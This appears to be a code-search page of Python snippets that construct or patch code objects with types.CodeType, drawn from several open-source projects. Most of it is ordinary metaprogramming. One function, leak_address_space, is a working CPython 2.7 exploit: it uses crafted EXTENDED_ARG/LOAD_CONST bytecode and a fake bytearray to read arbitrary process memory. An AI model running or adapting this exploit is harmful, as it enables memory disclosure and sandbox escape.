Example #1
0
def _generate_traceback_object(formatted_tb, packed_tb):
    co_name = '{}\n{}'.format(_code_tpl.co_name, formatted_tb.rstrip())
    try:
        replace = _code_tpl.replace  # since Python 3.8
    except AttributeError:
        # argument order is described in help(types.CodeType)
        code = types.CodeType(
            _code_tpl.co_argcount,
            _code_tpl.co_kwonlyargcount,
            _code_tpl.co_nlocals,
            _code_tpl.co_stacksize,
            _code_tpl.co_flags,
            _code_tpl.co_code,
            _code_tpl.co_consts,
            _code_tpl.co_names,
            _code_tpl.co_varnames,
            _code_tpl.co_filename,
            co_name,
            _code_tpl.co_firstlineno,
            _code_tpl.co_lnotab,
            _code_tpl.co_freevars,
            _code_tpl.co_cellvars,
        )
    else:
        code = replace(co_name=co_name)

    try:
        exec(code, {_packed_tb_var: packed_tb})
    except ValueError:
        return sys.exc_info()[2].tb_next
Example #2
0
    def to_native(self, opts={}):
        if not (2.0 <= PYTHON_VERSION <= 2.7):
            raise TypeError(
                "Python Interpreter needs to be in range 2.0..2.7; is %s" %
                PYTHON_VERSION)

        code = deepcopy(self)
        code.freeze()
        try:
            code.check()
        except AssertionError(e):
            raise TypeError(e)

        return types.CodeType(
            code.co_argcount,
            code.co_nlocals,
            code.co_stacksize,
            code.co_flags,
            code.co_code,
            code.co_consts,
            code.co_names,
            code.co_varnames,
            code.co_filename,
            code.co_name,
            code.co_firstlineno,
            code.co_lnotab,
            code.co_freevars,
            code.co_cellvars,
        )
Example #3
0
def _make_cell_set_template_code():
    def _cell_set_factory(value):
        lambda: cell
        cell = value

    co = _cell_set_factory.__code__

    _cell_set_template_code = types.CodeType(
        co.co_argcount,
        co.co_kwonlyargcount,   # Python 3 only argument
        co.co_nlocals,
        co.co_stacksize,
        co.co_flags,
        co.co_code,
        co.co_consts,
        co.co_names,
        co.co_varnames,
        co.co_filename,
        co.co_name,
        co.co_firstlineno,
        co.co_lnotab,
        co.co_cellvars,  # co_freevars is initialized with co_cellvars
        (),  # co_cellvars is made empty
    )
    return _cell_set_template_code
Example #4
0
def interactive_py_compile(source, filename="<interactive>"):
    c = compile(source, filename, "single")

    # we expect this at the end:
    #   PRINT_EXPR
    #   LOAD_CONST
    #   RETURN_VALUE
    import dis
    if ord(c.co_code[-5]) != dis.opmap["PRINT_EXPR"]:
        return c
    assert ord(c.co_code[-4]) == dis.opmap["LOAD_CONST"]
    assert ord(c.co_code[-1]) == dis.opmap["RETURN_VALUE"]

    code = c.co_code[:-5]
    code += chr(dis.opmap["RETURN_VALUE"])

    CodeArgs = [
        "argcount", "nlocals", "stacksize", "flags", "code", "consts", "names",
        "varnames", "filename", "name", "firstlineno", "lnotab", "freevars",
        "cellvars"
    ]
    c_dict = dict([(arg, getattr(c, "co_" + arg)) for arg in CodeArgs])
    c_dict["code"] = code

    import types
    c = types.CodeType(*[c_dict[arg] for arg in CodeArgs])
    return c
Example #5
0
    def replace_paths_in_code(self, co):
        new_filename = original_filename = os.path.normpath(co.co_filename)
        for f, r in self.replace_paths:
            if original_filename.startswith(f):
                new_filename = r + original_filename[len(f):]
                break

        if self.debug and original_filename not in self.processed_paths:
            if new_filename != original_filename:
                self.msgout(2, "co_filename %r changed to %r" \
                                    % (original_filename,new_filename,))
            else:
                self.msgout(2, "co_filename %r remains unchanged" \
                                    % (original_filename,))
            self.processed_paths.append(original_filename)

        consts = list(co.co_consts)
        for i in range(len(consts)):
            if isinstance(consts[i], type(co)):
                consts[i] = self.replace_paths_in_code(consts[i])

        return types.CodeType(co.co_argcount, co.co_nlocals,
                              co.co_stacksize, co.co_flags, co.co_code,
                              tuple(consts), co.co_names, co.co_varnames,
                              new_filename, co.co_name, co.co_firstlineno,
                              co.co_lnotab, co.co_freevars, co.co_cellvars)
Example #6
0
    def new_wrapper(cls, func, cache):
        '''Create a new wrapper that will determine the correct function to call.'''

        # define the wrapper...
        def F(*arguments, **keywords):
            heap = [res for _, res in heapq.nsmallest(len(cache), cache)]
            f, (a, w, k) = cls.match((arguments[:], keywords), heap)
            return f(*arguments, **keywords)
            #return f(*(arguments + tuple(w)), **keywords)

        # swap out the original code object with our wrapper's
        f, c = F, F.func_code
        cargs = c.co_argcount, c.co_nlocals, c.co_stacksize, c.co_flags, \
                c.co_code, c.co_consts, c.co_names, c.co_varnames, \
                c.co_filename, '.'.join((func.__module__, func.func_name)), \
                c.co_firstlineno, c.co_lnotab, c.co_freevars, c.co_cellvars
        newcode = types.CodeType(*cargs)
        res = types.FunctionType(newcode, f.func_globals, f.func_name,
                                 f.func_defaults, f.func_closure)
        res.func_name, res.func_doc = func.func_name, func.func_doc

        # assign the specified cache to it
        setattr(res, cls.cache_name, cache)
        # ...and finally add a default docstring
        setattr(res, '__doc__', '')
        return res
Example #7
0
    def freeze(self):
        for field in 'co_consts co_names co_varnames co_freevars co_cellvars'.split(
        ):
            val = getattr(self, field)
            if isinstance(val, list):
                setattr(self, field, tuple(val))

        if isinstance(self.co_lnotab, dict):
            d = self.co_lnotab
            self.co_lnotab = sorted(zip(d.keys(), d.values()),
                                    key=lambda tup: tup[0])
        if isinstance(self.co_lnotab, list):
            # We assume we have a list of tuples:
            # (offset, linenumber) which we convert
            # into the encoded format
            self.encode_lineno_tab()

        if PYTHON3:
            args = (self.co_argcount, self.co_kwonlyargcount, self.co_nlocals,
                    self.co_stacksize, self.co_flags, self.co_code,
                    self.co_consts, self.co_names, self.co_varnames,
                    self.co_filename, self.co_name, self.co_firstlineno,
                    self.co_lnotab, self.co_freevars, self.co_cellvars)
            return types.CodeType(*args)
        else:
            return self
Example #8
0
 def func(f):
     code = map(ord, f.func_code.co_code)
     varnames = list(f.func_code.co_varnames)
     names = list(f.func_code.co_names)
     cf = lambda c, i: c[i] in (LOAD_FAST, STORE_FAST) and varnames[c[
         i + 1]] in vars
     while True:
         idx = find_code(code, cf)
         if idx is None:
             break
         code[idx] = LOAD_NAME if code[idx] == LOAD_FAST else STORE_NAME
         var = varnames[code[idx + 1]]
         code[idx + 1] = len(names)
         try:
             code[idx + 1] = names.index(var)
         except ValueError:
             names.append(var)
     for i, var in enumerate(filter(varnames.__contains__, names)):
         varnames[varnames.index(var)] = '__anon_var_%d' % i
     rescode = types.CodeType(
         f.func_code.co_argcount, f.func_code.co_nlocals,
         f.func_code.co_stacksize, f.func_code.co_flags ^ 0x01,
         ''.join(map(chr, code)), f.func_code.co_consts, tuple(names),
         tuple(varnames), f.func_code.co_filename, f.func_code.co_name,
         f.func_code.co_firstlineno, f.func_code.co_lnotab,
         f.func_code.co_freevars, f.func_code.co_cellvars)
     return types.FunctionType(rescode, dict(f.func_globals, __ns=True),
                               f.func_name, f.func_defaults, f.func_closure)
Example #9
0
    def codepatch(self, r):
        from struct import pack

        c = r.ref.__func__.func_code
        patch_ = [
            ("LOAD_GLOBAL", len(c.co_names)),
            ("LOAD_CONST", len(c.co_consts)),
            ("CALL_FUNCTION", 1),
            ("LOAD_ATTR", len(c.co_names) + 1),
            ("CALL_FUNCTION", 0),
            ("POP_TOP", None),
        ]
        hook = ""
        for op in patch_:
            opc = chr(inspect.dis.opmap[op[0]])
            if op[1] is not None:
                opc += pack("<H", op[1])
            hook += opc
        newc = types.CodeType(
            c.co_argcount,
            c.co_nlocals,
            c.co_stacksize,
            c.co_flags,
            hook + c.co_code,
            c.co_consts + (self.name, ),
            c.co_names + ("Signal", "emit"),
            c.co_varnames,
            c.co_filename,
            c.co_name,
            c.co_firstlineno,
            c.co_lnotab,
        )
        self.hook[r.ref.__func__] = c
        r.ref.__func__.func_code = newc
Example #10
0
    def test_compat(self):  # assumes func has only brineable types

        def get37_schema(cobj):
            return (cobj.co_argcount, 0, cobj.co_nlocals, cobj.co_stacksize,
                    cobj.co_flags, cobj.co_code, cobj.co_consts, cobj.co_names, cobj.co_varnames,
                    cobj.co_filename, cobj.co_name, cobj.co_firstlineno, cobj.co_lnotab,
                    cobj.co_freevars, cobj.co_cellvars)

        def get38_schema(cobj):
            return (cobj.co_argcount, 2, cobj.co_kwonlyargcount, cobj.co_nlocals,
                    cobj.co_stacksize, cobj.co_flags, cobj.co_code, cobj.co_consts, cobj.co_names,
                    cobj.co_varnames, cobj.co_filename, cobj.co_name, cobj.co_firstlineno, cobj.co_lnotab,
                    cobj.co_freevars, cobj.co_cellvars)

        if is_py_3k:
            pow37 = lambda x, y : x ** y  # noqa
            pow38 = lambda x, y : x ** y  # noqa
            export37 = get37_schema(pow37.__code__)
            export38 = get38_schema(pow38.__code__)
            schema37 = (pow37.__name__, pow37.__module__, pow37.__defaults__, export37)
            schema38 = (pow38.__name__, pow38.__module__, pow38.__defaults__, export38)
            pow37_netref = self.conn.modules["rpyc.utils.teleportation"].import_function(schema37)
            pow38_netref = self.conn.modules["rpyc.utils.teleportation"].import_function(schema38)
            self.assertEquals(pow37_netref(2, 3), pow37(2, 3))
            self.assertEquals(pow38_netref(2, 3), pow38(2, 3))
            self.assertEquals(pow37_netref(x=2, y=3), pow37(x=2, y=3))
            if not is_py_gte38:
                return  # skip remained of tests for 3.7
            pow38.__code__ = types.CodeType(*export38)  # pow38 = lambda x, y, /: x ** y
            with self.assertRaises(TypeError):  # show local behavior
                pow38(x=2, y=3)
            with self.assertRaises(TypeError):
                pow38_netref(x=2, y=3)
Example #11
0
def surgery(func):
    code = func.__code__
    co_code = None
    if is_pypy and code.co_code[-4:] == bytes([100, 0, 0, 83]):
        co_code = code.co_code[:-4] + bytes([100, len(code.co_consts), 0, 131, 0, 0, 83])
    elif not is_pypy and code.co_code[-4:] == bytes([100, 0, 83, 0]):
        co_code = code.co_code[:-4] + bytes([100, len(code.co_consts), 131, 0, 83, 0])

    if co_code:
        func.__code__ = types.CodeType(
            code.co_argcount,
            code.co_kwonlyargcount,
            code.co_nlocals,
            code.co_stacksize,
            code.co_flags,
            co_code,
            code.co_consts + (locals,),
            code.co_names,
            code.co_varnames,
            code.co_filename,
            code.co_name,
            code.co_firstlineno,
            code.co_lnotab,
            code.co_freevars,
            code.co_cellvars
        )

    return func
Example #12
0
def setCodeFileLine(c, filename, lineno, funcname=None):
    if funcname == None:
        funcname = c.co_name
    return types.CodeType(c.co_argcount, c.co_nlocals, c.co_stacksize,
                          c.co_flags, c.co_code, c.co_consts, c.co_names,
                          c.co_varnames, filename, funcname, lineno,
                          c.co_lnotab, c.co_freevars)
def leak_address_space(address, size):
    """Leak size byte from address of the current process"""
    def pull_the_trigger_b1tch():
        """Pull the trigger m**********r"""
        pass

    const_tuple = ()
    addr_const_tuple = id(const_tuple)

    # Creating a bytearray object will allow us to leak whatever we want in the address space
    # Py276, bytearrayobject.h
    # typedef struct {
    #     PyObject_VAR_HEAD
    #     int ob_exports; /* how many buffer exports */
    #     Py_ssize_t ob_alloc; /* How many bytes allocated */
    #     char *ob_bytes;
    # } PyByteArrayObject;
    print '  Create a bytearray for reliability purpose..'
    bytearrayobject = bytearray('A' * 137)
    bytearrayobject_str = (c_char * 100).from_address(id(bytearrayobject)).raw
    offset_bytearray_size = bytearrayobject_str.find(pack_uint(137))
    print '  PyByteArrayObject -> PyByteArrayObject.ob_alloc : %d bytes' % offset_bytearray_size

    print '  Building a fake PyByteArrayObject to leak the address space now..'
    fake_bytearray_object = bytearrayobject_str[:
                                                offset_bytearray_size] + pack_uint(
                                                    size
                                                ) + pack_uint(address) * 10
    # fake_bytearray_object = pack_uint(0x0) + pack_uint(0x11111111) + pack_uint(0x22222222) + pack_uint(0x33333333) + pack_uint(0x44444444) + pack_uint(0x55555555) + pack_uint(0x66666666) + pack_uint(0x77777777) + pack_uint(0x88888888) + pack_uint(0x99999999) + pack_uint(0xAAAAAAAA) + pack_uint(0xBBBBBBBB) + pack_uint(0xCCCCCCCC) + pack_uint(0xDDDDDDDD) + pack_uint(0xEEEEEEEE) + pack_uint(0xFFFFFFFF)
    address_fake_bytearray_object = id(fake_bytearray_object)

    ptr_object = id(fake_bytearray_object) + 20
    p = id(ptr_object) + 8
    # Remember:
    # 1E01138D    8B7C99 0C       MOV EDI,DWORD PTR [EBX*4+ECX+0C] ; ECX is the address of the const_tuple object, EBX you control!
    offset = ((p - addr_const_tuple - 0xC) & 0xffffffff) / 4
    offset_high, offset_low = offset >> 16, offset & 0xffff
    print '  Dummy tuple @%.8x, FakeByteArray object @%.8x' % (
        addr_const_tuple, address_fake_bytearray_object)
    print '  Offset High: %.4x, Offset Low: %.4x' % (offset_high, offset_low)

    print '  Building the bytecode to exploit the bug..'
    # 1. Load the low part of our address
    evil_bytecode = get_opcode('EXTENDED_ARG') + pack_ushort(offset_high)
    # 2. Load an object from the const: This is an evil object :]
    evil_bytecode += get_opcode('LOAD_CONST') + pack_ushort(offset_low)
    # 3. Return it
    evil_bytecode += get_opcode('RETURN_VALUE')

    print '  Hotpatching pull_the_trigger_b1tch with our bytecodes..'
    pull_the_trigger_b1tch.func_code = types.CodeType(0, 0, 0, 0,
                                                      evil_bytecode,
                                                      const_tuple, (), (), "",
                                                      "", 0, "")

    print '  Pulling the trigger'
    # and b00m!1§1§1§
    x = pull_the_trigger_b1tch()
    print '  Trying to leak the address space now:'
    return str(x)
Example #14
0
File: cgp.py Project: acad2/school
 def __getByteCode(self, chrom, used, code):
     # zkopirovat prvnich osm bajtu ty zustanou nemenne 
     # Checknout dokumentaci jestli existuje neco jako NO operation!
     i = 0    # Index zactku bytekodu
     a_idx = -3   # Index prvniho operandu
     b_idx = -2   # Index druheho operandu
     f_idx = -1   # Index Operace
     idx = 0  # Index chromozomu 
     for j in range(self.graphInputCnt, self.area+self.graphInputCnt):
         a_idx += 3
         b_idx += 3
         f_idx += 3
         idx += 1
         if 0 == used[j]: # Byl tento uzel pouzitej? 
             continue 
         code[i   ] = 100
         code[i+1 ] = self.mask_idx
         code[i+3 ] = 101
         code[i+7] = chrom[a_idx]
         code[i+14] = chrom[b_idx]
         code[i+17] = self.fun1[chrom[f_idx]]
         code[i+18] = self.fun2[chrom[f_idx]]
         code[i+19] = self.fun3[chrom[f_idx]]
         code[i+24] = j 
         i += 27
     code[i] = 100               # RETURN VALUE
     code[i+1] = self.none_idx   # RETURN VALUE
     code[i+2] = 0               # RETURN VALUE
     code[i+3] = 83              # RETURN VALUE
     #exitCode = [100, self.none_idx, 0,   # LOAD NONE
     return types.CodeType(0, 
                           0, # Py2  asi smazat..
                           0,  20, 64,
                           code.tobytes(), self.co_consts, self.co_names, tuple(),
                           "", "<module>", 1, self.co_lnotab)
Example #15
0
def gen_new_code(code, symbol_dict):
    varnames = []
    for i, varname in enumerate(code.co_varnames):
        # skip function arguments
        if i < code.co_argcount:
            varnames.append(varname)
        else:
            varnames.append(gen_random_symbol(symbol_dict, varname))
    varnames = tuple(varnames)

    consts = []
    for const in code.co_consts:
        if type(const) == types.CodeType:
            new_code = gen_new_code(const, symbol_dict)
            consts.append(new_code)
        else:
            consts.append(const)
    consts = tuple(consts)

    opt_code = types.CodeType(
        code.co_argcount,
        code.co_nlocals,
        code.co_stacksize,
        code.co_flags,
        code.co_code,  # code.co_code: this you changed
        consts,  #code.co_consts,
        code.co_names,
        varnames,  #code.co_varnames,
        gen_random_symbol(symbol_dict, code.co_filename),  #code.co_filename,
        gen_random_symbol(symbol_dict, code.co_name),  #code.co_name,
        code.co_firstlineno,
        code.co_lnotab,  # In general, You should adjust this
        code.co_freevars,
        code.co_cellvars)
    return opt_code
Example #16
0
    def test_extended_arg(self):
        # Create a code object from arbitrary bytecode
        co_code = b'\x90\x12\x904\x90\xabd\xcd' if WORDCODE else b'\x904\x12d\xcd\xab'
        code = get_code('x=1')
        code = types.CodeType(code.co_argcount, code.co_kwonlyargcount,
                              code.co_nlocals, code.co_stacksize,
                              code.co_flags, co_code, code.co_consts,
                              code.co_names, code.co_varnames,
                              code.co_filename, code.co_name,
                              code.co_firstlineno, code.co_lnotab,
                              code.co_freevars, code.co_cellvars)

        # without EXTENDED_ARG opcode
        bytecode = ConcreteBytecode.from_code(code)
        self.assertListEqual(
            list(bytecode),
            [ConcreteInstr("LOAD_CONST", 0x1234abcd, lineno=1)])

        # with EXTENDED_ARG opcode
        bytecode = ConcreteBytecode.from_code(code, extended_arg=True)
        if WORDCODE:
            expected = [
                ConcreteInstr('EXTENDED_ARG', 0x12, lineno=1),
                ConcreteInstr('EXTENDED_ARG', 0x34, lineno=1),
                ConcreteInstr('EXTENDED_ARG', 0xab, lineno=1),
                ConcreteInstr('LOAD_CONST', 0xcd, lineno=1)
            ]
        else:
            expected = [
                ConcreteInstr('EXTENDED_ARG', 0x1234, lineno=1),
                ConcreteInstr('LOAD_CONST', 0xabcd, lineno=1)
            ]
        self.assertListEqual(list(bytecode), expected)
Example #17
0
def test_code_copy():
    import types

    code = wrapper().__code__
    code2 = types.CodeType(code.co_argcount, code.co_kwonlyargcount,
                           code.co_nlocals, code.co_stacksize, code.co_flags,
                           code.co_code, code.co_consts, code.co_names,
                           code.co_varnames, code.co_filename, code.co_name,
                           code.co_firstlineno, code.co_lnotab,
                           code.co_freevars, code.co_cellvars)

    assert code.co_argcount == code2.co_argcount
    assert code.co_kwonlyargcount == code2.co_kwonlyargcount
    assert code.co_nlocals == code2.co_nlocals
    assert code.co_stacksize == code2.co_stacksize
    assert code.co_flags == code2.co_flags
    assert code.co_code == code2.co_code
    assert code.co_consts == code2.co_consts
    assert set(code.co_names) == set(code2.co_names)
    assert set(code.co_varnames) == set(code2.co_varnames)
    assert code.co_filename == code2.co_filename
    assert code.co_name == code2.co_name
    assert code.co_firstlineno == code2.co_firstlineno
    assert code.co_lnotab == code2.co_lnotab
    assert set(code.co_freevars) == set(code2.co_freevars)
    assert set(code.co_cellvars) == set(code2.co_cellvars)
Example #18
0
def _make_code(code, codestring):
    args = [
        code.co_argcount,
        code.co_nlocals,
        code.co_stacksize,
        code.co_flags,
        codestring,
        code.co_consts,
        code.co_names,
        code.co_varnames,
        code.co_filename,
        code.co_name,
        code.co_firstlineno,
        code.co_lnotab,
        code.co_freevars,
        code.co_cellvars,
    ]

    try:
        args.insert(1, code.co_kwonlyargcount)  # PY3
        if sys.version_info >= (3, 8):
            args.insert(1, code.co_posonlyargcount)
    except AttributeError:
        pass
    return types.CodeType(*args)
Example #19
0
def _FixCodeFilename(code, filename):
  """Creates a CodeType with co_filename replaced with filename.

  Also affects nested code objects in co_consts.

  Args:
    code: The code object to be replaced.
    filename: The replacement filename.

  Returns:
    A new code object with its co_filename set to the provided filename.
  """
  if isinstance(code, types.CodeType):
    code = types.CodeType(
        code.co_argcount,
        code.co_nlocals,
        code.co_stacksize,
        code.co_flags,
        code.co_code,
        tuple([_FixCodeFilename(c, filename) for c in code.co_consts]),
        code.co_names,
        code.co_varnames,
        filename,
        code.co_name,
        code.co_firstlineno,
        code.co_lnotab,
        code.co_freevars,
        code.co_cellvars)
  return code
Example #20
0
def update_nested_code_object(main_co, original_co, new_co):
    if not main_co:
        return
    logger.debug("Looking in main %s, replace by %s" % (original_co, new_co))

    main_co_consts = main_co.co_consts
    co_index = -1
    for co_const in main_co_consts:
        if not isinstance(co_const, types.CodeType):
            continue
        if co_const == original_co:
            co_index = main_co_consts.index(co_const)
            break

    if co_index < 0:
        logger.debug("Cannot find %s in main_co: %s" %
                     (original_co, main_co_consts))
        return main_co

    new_co_consts = main_co.co_consts[:co_index] + (
        new_co, ) + main_co.co_consts[co_index + 1:]
    main_co = types.CodeType(main_co.co_argcount, main_co.co_nlocals,
                             main_co.co_stacksize, main_co.co_flags,
                             main_co.co_code, new_co_consts, main_co.co_names,
                             main_co.co_varnames, main_co.co_filename,
                             main_co.co_name, main_co.co_firstlineno,
                             main_co.co_lnotab, main_co.co_freevars,
                             main_co.co_cellvars)

    logger.debug("Created new CO: %s" % main_co)
    return main_co
Example #21
0
 def call(argcount=func.__code__.co_argcount,
          kwonlyargcount=func.__code__.co_kwonlyargcount,
          nlocals=func.__code__.co_nlocals,
          stacksize=func.__code__.co_stacksize,
          flags=func.__code__.co_flags,
          code=func.__code__.co_code,
          consts=func.__code__.co_consts,
          names=func.__code__.co_names,
          varnames=func.__code__.co_varnames,
          filename=func.__code__.co_filename,
          name=func.__code__.co_name,
          firstlineno=func.__code__.co_firstlineno,
          lnotab=func.__code__.co_lnotab,
          freevars=func.__code__.co_freevars,
          cellvars=func.__code__.co_cellvars):
     code = types.CodeType(argcount,
                           kwonlyargcount,
                           nlocals,
                           stacksize,
                           flags,
                           code,
                           consts,
                           names,
                           varnames,
                           filename,
                           name,
                           firstlineno,
                           lnotab,
                           freevars,
                           cellvars)
     # noinspection PyArgumentList
     new_func = types.FunctionType(code, func.__globals__, name, func.__defaults__, func.__closure__)
     return new_func
Example #22
0
def load_code_without_patching(self):
    code = load_code(self)
    return types.CodeType(code.co_argcount, code.co_nlocals, code.co_stacksize,
                          code.co_flags, code.co_code, code.co_consts,
                          code.co_names, code.co_varnames, code.co_filename,
                          code.co_name, code.co_firstlineno, code.co_lnotab,
                          code.co_freevars, code.co_cellvars)
Example #23
0
    def to_native(self):
        if not (3, 0) <= PYTHON_VERSION_TRIPLE < (3, 8):
            raise TypeError(
                "Python Interpreter needs to be in range 3.0..3.7; is %s" %
                version_tuple_to_str())

        code = deepcopy(self)
        code.freeze()
        try:
            code.check()
        except AssertionError as e:
            raise TypeError(e)

        return types.CodeType(
            code.co_argcount,
            code.co_kwonlyargcount,
            code.co_nlocals,
            code.co_stacksize,
            code.co_flags,
            code.co_code,
            code.co_consts,
            code.co_names,
            code.co_varnames,
            code.co_filename,
            code.co_name,
            code.co_firstlineno,
            code.co_lnotab,
            code.co_freevars,
            code.co_cellvars,
        )
Example #24
0
    def _ReplacePathsInCode(self, topLevelModule, co):
        """Replace paths in the code as directed, returning a new code object
           with the modified paths in place."""
        # Prepare the new filename.
        origFileName = newFileName = os.path.normpath(co.co_filename)
        for searchValue, replaceValue in self.replacePaths:
            if searchValue == "*":
                searchValue = os.path.dirname(topLevelModule.file)
                if topLevelModule.path:
                    searchValue = os.path.dirname(searchValue)
                if searchValue:
                    searchValue = searchValue + os.path.sep
            if not origFileName.startswith(searchValue):
                continue
            newFileName = replaceValue + origFileName[len(searchValue):]
            break

        # Run on subordinate code objects from function & class definitions.
        constants = list(co.co_consts)
        for i, value in enumerate(constants):
            if isinstance(value, type(co)):
                constants[i] = self._ReplacePathsInCode(topLevelModule, value)

        # Build the new code object.
        return types.CodeType(co.co_argcount, co.co_kwonlyargcount,
                              co.co_nlocals,
                              co.co_stacksize, co.co_flags, co.co_code,
                              tuple(constants), co.co_names, co.co_varnames,
                              newFileName, co.co_name, co.co_firstlineno,
                              co.co_lnotab, co.co_freevars, co.co_cellvars)
Example #25
0
def code_object_replace(code: types.CodeType, **kwargs) -> types.CodeType:
    """
    Return a copy of the code object with new values for the specified fields.
    """
    try:
        kwargs["co_consts"] = tuple(kwargs["co_consts"])
    except ValueError:
        pass
    # Python 3.8+
    if hasattr(code, "replace"):
        return code.replace(**kwargs)
    params = [
        kwargs.get("co_argcount", code.co_argcount),
        kwargs.get("co_kwonlyargcount", code.co_kwonlyargcount),
        kwargs.get("co_nlocals", code.co_nlocals),
        kwargs.get("co_stacksize", code.co_stacksize),
        kwargs.get("co_flags", code.co_flags),
        kwargs.get("co_code", code.co_code),
        kwargs.get("co_consts", code.co_consts),
        kwargs.get("co_names", code.co_names),
        kwargs.get("co_varnames", code.co_varnames),
        kwargs.get("co_filename", code.co_filename),
        kwargs.get("co_name", code.co_name),
        kwargs.get("co_firstlineno", code.co_firstlineno),
        kwargs.get("co_lnotab", code.co_lnotab),
        kwargs.get("co_freevars", code.co_freevars),
        kwargs.get("co_cellvars", code.co_cellvars),
    ]
    return types.CodeType(*params)
Example #26
0
 def _getByteCodePostfix(self, chrom, usedNodes, code):
     #self.functionSet  = [Cgp.add, Cgp.sub, Cgp.mul, Cgp.div, Cgp.id, Cgp._0_25, Cgp._0_50, Cgp._1_00]
     #self.functionTable= [" ADD",   " SUB",   " MUL",   " DIV",   " ID ",  "0.25",     "0.50",     "1.00"]
     #puvodni_bc = self.__getByteCode(chrom, usedNodes, code)
     cnt = 0
     #print(usedNodes)
     #print(self.showChrom(chrom))
     #print()
     #print("PREVOD CHROMOSOMU DO POSTFIXOVE NOTACE:")
     # Load last index
     global code_idx
     code_idx = 0
     idx = self.lastGeneIdx
     for i in xrange(self.graphOutputCnt):
         if usedNodes[chrom[idx]] == -1:
             idx += 1
             continue
         self.__getBc(chrom, chrom[idx], usedNodes, code)
         # STACK = [result]                  LOAD ouputBuff
         code[code_idx] = 101
         code_idx += 1
         code[code_idx] = 0
         code_idx += 1
         code[code_idx] = 0
         code_idx += 1
         # STACK = [result, outputBuff]      LOAD const
         code[code_idx] = 100
         code_idx += 1
         code[code_idx] = chrom[idx]
         code_idx += 1
         code[code_idx] = 0
         code_idx += 1
         #STACK = [result, outputBuff, const] STORE result in outputbuff[const]
         code[code_idx] = 60
         code_idx += 1
         idx += 1
     #STACK = []                          LOAD NONE
     code[code_idx] = 100
     code_idx += 1
     code[code_idx] = self.none_idx
     code_idx += 1
     code[code_idx] = 0
     code_idx += 1
     #STACK = [None]                      RETURN None
     code[code_idx] = 83
     code_idx += 1
     return types.CodeType(
         0,
         #0, # Py2  asi smazat..
         0,
         self.stacksize,
         64,
         code.tostring(),
         self.co_consts,
         self.co_names,
         tuple(),
         "",
         "<module>",
         1,
         self.co_lnotab)
Example #27
0
    def load_code(self):
        idx = self.r_ref_reserve()

        argcount = self.r_long()
        kwonlyargcount = self.r_long()
        nlocals = self.r_long()
        stacksize = self.r_long()
        flags = self.r_long()
        code = self.load()
        consts = self.load()
        names = self.load()
        varnames = self.load()
        freevars = self.load()
        cellvars = self.load()
        filename = self.load()
        name = self.load()
        firstlineno = self.r_long()
        lnotab = self.r_object()
        retval = types.CodeType(argcount, kwonlyargcount, nlocals, stacksize,
                                flags, code, consts, names, varnames,
                                filename, name, firstlineno, lnotab, freevars,
                                cellvars)

        self.r_ref_insert(idx, retval)
        return retval
Example #28
0
def clonefunc(f):
    """Deep clone the given function to create a new one.

    By default, the PyPy JIT specializes the assembler based on f.__code__:
    clonefunc makes sure that you will get a new function with a **different**
    __code__, so that PyPy will produce independent assembler. This is useful
    e.g. for benchmarks and microbenchmarks, so you can make sure to compare
    apples to apples.

    Use it with caution: if abused, this might easily produce an explosion of
    produced assembler.
    """
    # first of all, we clone the code object
    if not hasattr(f, '__code__'):
        return f
    co = f.__code__
    args = [co.co_argcount, co.co_nlocals, co.co_stacksize, co.co_flags, co.co_code,
            co.co_consts, co.co_names, co.co_varnames, co.co_filename, co.co_name,
            co.co_firstlineno, co.co_lnotab, co.co_freevars, co.co_cellvars]
    if PY38:
        args.insert(1, co.co_posonlyargcount)
    if PY3:
        args.insert(1, co.co_kwonlyargcount)
    co2 = types.CodeType(*args)
    #
    # then, we clone the function itself, using the new co2
    f2 = types.FunctionType(co2, f.__globals__, f.__name__, f.__defaults__, f.__closure__)
    return f2
def rebuild_code_object(co, code=None, constants=None, filename=None):
    """Rebuild the code object."""
    code = code or co.co_code
    constants = tuple(constants or co.co_consts)
    filename = filename or co.co_filename
    params = [
        co.co_argcount,
        co.co_kwonlyargcount,
        co.co_nlocals,
        co.co_stacksize,
        co.co_flags,
        code,
        constants,
        co.co_names,
        co.co_varnames,
        filename,
        co.co_name,
        co.co_firstlineno,
        co.co_lnotab,
        co.co_freevars,
        co.co_cellvars,
    ]
    if hasattr(co, "co_posonlyargcount"):
        # PEP570 added "positional only arguments" in Python 3.8
        params.insert(1, co.co_posonlyargcount)
    return types.CodeType(*params)
Example #30
0
    def _stub_generator(self, body_func, varnames):
        """This generates a function based on the argnames provided in
        "varnames", the "body_func" is the function that'll type the overloaded
        function and then work out which lowering to return"""
        def stub(tyctx):
            # body is supplied when the function is magic'd into life via glbls
            return body(tyctx)  # noqa: F821

        stub_code = stub.__code__
        new_varnames = [*stub_code.co_varnames]
        new_varnames.extend(varnames)
        co_argcount = len(new_varnames)
        co_args = [co_argcount]
        additional_co_nlocals = len(varnames)

        from numba.core import utils
        if utils.PYVERSION >= (3, 8):
            co_args.append(stub_code.co_posonlyargcount)
        co_args.append(stub_code.co_kwonlyargcount)
        co_args.extend([
            stub_code.co_nlocals + additional_co_nlocals,
            stub_code.co_stacksize, stub_code.co_flags, stub_code.co_code,
            stub_code.co_consts, stub_code.co_names,
            tuple(new_varnames), stub_code.co_filename, stub_code.co_name,
            stub_code.co_firstlineno, stub_code.co_lnotab,
            stub_code.co_freevars, stub_code.co_cellvars
        ])

        new_code = pytypes.CodeType(*co_args)

        # get function
        new_func = pytypes.FunctionType(new_code, {'body': body_func})
        return new_func